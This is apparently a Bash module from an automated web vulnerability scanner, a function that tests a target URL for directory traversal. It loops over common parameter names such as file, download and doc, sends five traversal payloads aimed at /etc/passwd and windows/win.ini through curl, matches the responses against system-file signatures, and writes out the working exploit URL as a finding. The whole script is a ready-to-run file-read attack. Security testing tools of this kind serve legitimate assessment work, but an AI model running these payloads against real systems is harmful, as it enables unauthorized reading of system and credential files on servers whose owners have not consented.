51 lines
1.5 KiB
Bash
Executable File
51 lines
1.5 KiB
Bash
Executable File
#!/usr/bin/env bash
|
|
# Vector 07: Directory Traversal
|
|
# Desc: Path traversal to read arbitrary files
|
|
# Detect: file=, download=, doc=, pdf= parameters
|
|
# Severity: HIGH
|
|
# Tools: curl
|
|
|
|
vector_dtrav() {
|
|
local target="$1"
|
|
local report="$2"
|
|
local findings=0
|
|
|
|
print_info "Testing Directory Traversal vectors..."
|
|
|
|
local trav_params=("file" "download" "doc" "pdf" "attachment" "d" "f" "folder" "dir" "img" "document" "view" "page")
|
|
|
|
for param in "${trav_params[@]}"; do
|
|
local tests=(
|
|
"../../../../etc/passwd"
|
|
"..\\..\\..\\windows\\win.ini"
|
|
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd"
|
|
"....//....//....//etc/passwd"
|
|
"..;/..;/..;/etc/passwd"
|
|
)
|
|
|
|
for trav in "${tests[@]}"; do
|
|
local test_url=""
|
|
if [[ "$target" == *\?* ]]; then
|
|
test_url="${target}&${param}=${trav}"
|
|
else
|
|
test_url="${target}?${param}=${trav}"
|
|
fi
|
|
|
|
local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
|
|
|
|
if echo "$response" | grep -qi "root:.*:0:0:\|root:x:0:0:\|\[boot loader\]\|\[fonts\]"; then
|
|
print_find "Directory Traversal!" "File read via $param with: $trav"
|
|
echo "SEVERITY: HIGH
|
|
VECTOR: Directory Traversal
|
|
DETAIL: Path traversal via parameter '$param' on $target
|
|
EVIDENCE: System files readable: ${response:0:100}
|
|
EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_dtrav.txt"
|
|
findings=$((findings + 1))
|
|
break 2
|
|
fi
|
|
done
|
|
done
|
|
|
|
return $findings
|
|
}
|